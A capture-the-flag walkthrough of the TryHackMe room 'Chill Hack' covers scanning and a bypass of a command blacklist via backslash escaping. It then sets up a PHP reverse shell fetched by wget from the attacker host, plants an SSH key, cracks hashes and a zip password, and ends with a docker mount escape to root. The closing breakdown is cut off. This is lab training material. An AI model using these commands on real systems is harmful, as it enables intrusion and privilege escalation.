THM:chillhack

    URL: https://tryhackme.com/room/chillhack [Easy]

    Tags:

    ctf nmap gobuster dirbuster session broken-authentication javascript apache ubuntu john gpg2john linpeas privesc cron

    Reconnaissance

    Description of the room:

    Easy level CTF. Capture the flags and have fun!

    Scanning

    Running: nmap

    Ran the following:

    nmap -sC -sV x.x.x.x

    Interesting ports found to be open:

    PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.78.155
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
|   256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_  256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Game Info
|_http-server-header: Apache/2.4.29 (Ubuntu)

    Also see: nmap.log

    Running: gobuster

    Ran the following:

    gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://x.x.x.x

    Interesting folders found on :80:

    /secret      (Status: 301) [Size: 315] [--> http://10.10.168.235/secret/]

    Also see: gobuster.log

    Running: nikto

    Ran the following:

    nikto -h x.x.x.x -p 80

    Not much of anything interesting info found on :80:

    + Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 8970, size: 56d7e303a7e80, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /secret/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

    Also see: nikto.log

    Gaining Access

    The most obvious place to start is in the /secret/ folder via the web browser. This lets you run Linux commands, and it shows you the output. However, you quickly find out several commands are blocked and it shows you a “Are you a hacker?” message.

    One command to run is sudo -l which will show you if the current user is able to run anything as root. We find that account apaar can run /home/apaar/.helpline.sh as sudo.

    We can’t seem to do cat or less to read files, so we can read parts of file with something like: grep -v "zZz" /home/apaar/.helpline.sh. This tells grep to show me all of the lines of the file that DON’T have the character string “zZz”, which is most-likely all of the lines of the file.

    Using that same grep technique, we can look at the index.php for /secret/ and see the actual blacklist of commands we cannot run:

    $blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');

    Knowing that this is looking for an exact string, we can bypass this telling bash we want to treat the next character as a “string” literal, by using a backslash. For example: c\at ./index.php is technically equivalent to cat ./index.php, but for the first one, we were just saying that the “a” of “cat” is a string-literal (which is already was).

    How do we get in, then?

    Unprivileged Access

    There are several interesting aspects to this server.

    PHP Reverse Shell

    By using the technique above, we see that our default user www-data does not have write access anywhere, we can always write to the /tmp/ folder. We also know from the $blacklist above that PHP is installed on the current server. We can straight-up just run php somefile.php from the command-line, even without a web server.

    Putting this together, we can:

    1. Go grab a PHP reverse shell and download that to our workstation, say to ~/Downloads/. Rename it to revshell.php.
    2. Edit that file and modify the IP address to be your workstation IP, and the port to be 9000.
    3. Navigate into ~/Downloads/ and run python3 -m http.server 8000 - this is a temporary web server from where our victim machine can download the reverse shell.
    4. From the /secret/ website on the victim machine, run: wget -O /tmp/revshell.php http://<WorkstationIP>:8000/revshell.php - this will download the configured reverse shell from our Python3 web server that is hosting files from our ~/Downloads/ folder.
    5. Now that /tmp/revshell.php exists on the target machine, and we know how to bypass the filtering, we first need to listen for the incoming reverse shell. So, on your workstation, run: nc -lvnp 9000 (note that we configured the reverse shell in step 1 to point to port 9000)
    6. Finally, from /secret/ web page run the command: p\hp /tmp/revshell.php. You should see a connecting session back on your netcat terminal! You now have a primitive shell connection, running as the www-data user.

    MySQL Direct Access

    Either via the shell above, or by using the /secret/ web page to run commands, you might view the file /var/www/files/index.php, which is a login page. However, it references /var/www/files/account.php.

    In account.php, we can see the root database credentials for the local MySQL instance! So, that means we can run:

    mysql -u root -p

    And then paste in the password that you get from that account.php page. If not familiar, here is how you might go see the databases and tables:

    mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webportal          |
+--------------------+
5 rows in set (0.01 sec)

mysql> use webportal;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users               |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53<.....REDACTED.....>806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 6862<.....REDACTED.....>c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)

    Why this was interesting was that the password hashes in the password field were very short, and could potentially by MD5 hashes. So, using a website like this: https://hashes.com/en/decrypt/hash, I pasted in those values and we can see what the clear-text passwords are for those of those accounts!

    SSH’ing In

    We attempt to SSH into the server using the MD5 password above but that doesn’t work. We do know that we can run that one script file AS the apaar account though. So, via your reverse shell above, run:

    sudo -u apaar /home/apaar/.helpline.sh

    It prompts you for a name; you can put anything for that. Then it prompts you for a message. That should be: /bin/bash

    You will now have a prompt running as apaar. So, you can inject your ~/.ssh/id_rsa.pub public key into apaar’s authorized_keys files so that you can SSH in as apaar without being prompted for an SSH password. So, while we are running as apaar, run something like:

    echo "ssh-rsa AAAAB3Nza<--SNIP-->udTRuFA8= user@example.com" >> /home/apaar/.ssh/authorized_keys

    Where those contents would be your own public key from ~/.ssh/id_rsa.pub on your workstation. If that file does not exist, run ssh-keygen and take all of the defaults (and you shouldn’t set a password, in this particular case).

    Finally, you can now ssh apaar@<machine-ip> and you should not be prompted for a password. You now have a proper SSH prompt running as apaar.

    Privilege Escalation

    This is a bit unrealistic and convoluted, but I suppose it is a good reinforcement of these skills that we learn! Here is the summary of the kill-chain to get privilege escalation:

    1. Run netstat -tupln see we’re hosting a site on localhost:9001
    2. Use ssh -L port redirection to re-host that website locally on our workstation.
    3. Use apaar’s database username and password to log in to this website.
    4. Grab the hacker picture. Run: steghide extract -sf ./hacker-with-laptop_23-2147985341.jpg and it extracts a backup.zip
    5. Run: fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt ./backup.zip to try to crack the ZIP password.
    6. Run: unzip ./backup.zip, use the password you just found to reveal: source_code.php.
    7. We see this references uses anurodh and a password that is base64-encoded.
    8. Run: echo "password" | base64 -d to base64-decode the password to clear-text.
    9. Now we can log in as this other user. We run: su anurodh and use the password from above.

    Also see: backup.zip, hacker-with-laptop_23-2147985341.jpg, and source_code.php

    Let me stop and highlight this next part, because it’s pretty interesting!

    Docker Filesystem Breakout / Escape

    This user anurodh doesn’t have any additional sudo privilege and linpeas didn’t find much. However, anurodh does have privileges to use Docker. Docker containers run in a “namespace” within Linux. When a container is running as root, there are potential ways to jump over that namespace and into the host machine. If we run docker images, we can see that have an Alpine Linux image. This means we can try:

    docker run -v /:/mnt --rm -it alpine chroot /mnt sh

    This basically: starts a container running alpine, mounts the host / path to /mnt/ inside of the container, then it changes the “root” of the filesystem within the container to be /mnt/, and then starts a shell.

    The end result is kind of weird. We are running as root, our “file system” inside fo the container is literally the same as the host machine. That means we can pretty much do most (all?) things that root can do in the host system? Well, at the very least we can grab our final flag of /root/proof.txt, which completes the room.

    As for that docker command above, here’s a breakdown of each part of the command:

    Completed: [2023-08-20 23:30:28]